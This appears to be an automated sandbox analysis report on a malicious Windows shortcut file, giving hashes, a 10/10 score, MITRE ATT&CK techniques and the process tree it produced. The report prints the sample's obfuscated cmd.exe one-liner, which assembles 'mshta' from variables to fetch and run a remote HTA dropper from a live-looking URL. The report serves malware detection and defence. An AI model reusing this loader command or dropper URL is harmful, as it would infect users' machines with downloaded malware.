71aabcfb753ba7de74cb5baa8838b06b19b28840f047ceb1b013a74bad75a891

Analysis

max time kernel
40s
max time network
28s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 18:31

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General

Target
DOC-PMJT3E.lnk
Size 1KB
Sample260803-w6eerswbph
SHA256 71aabcfb753ba7de74cb5baa8838b06b19b28840f047ceb1b013a74bad75a891
MD5 84f2379e767df022e9bfda816b463c6b
SHA1 a7169212cd2b7936e416c791a3329767a255ad93
SHA512 6f4f5c84314348fb4e4e04155dfeb1fe265f1a51b65eb499da430b2ff3232bbb0a196fb243436a833117cd4eb3b04e2f9537c11fe75596c92e9cb0a9ae2869ff
TLSH
T1E73164003EED0624F2F78E7388BB572086BAB8698D20C72E0040450C1422A15E53AFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1740	cmd.exe
1800	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1740	1800	cmd.exe	91
PID 1740 wrote to memory of 5572	1740	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PMJT3E.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1800
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set Ldsm=msh&&set BiOC=ta&&start "" !Ldsm!!BiOC! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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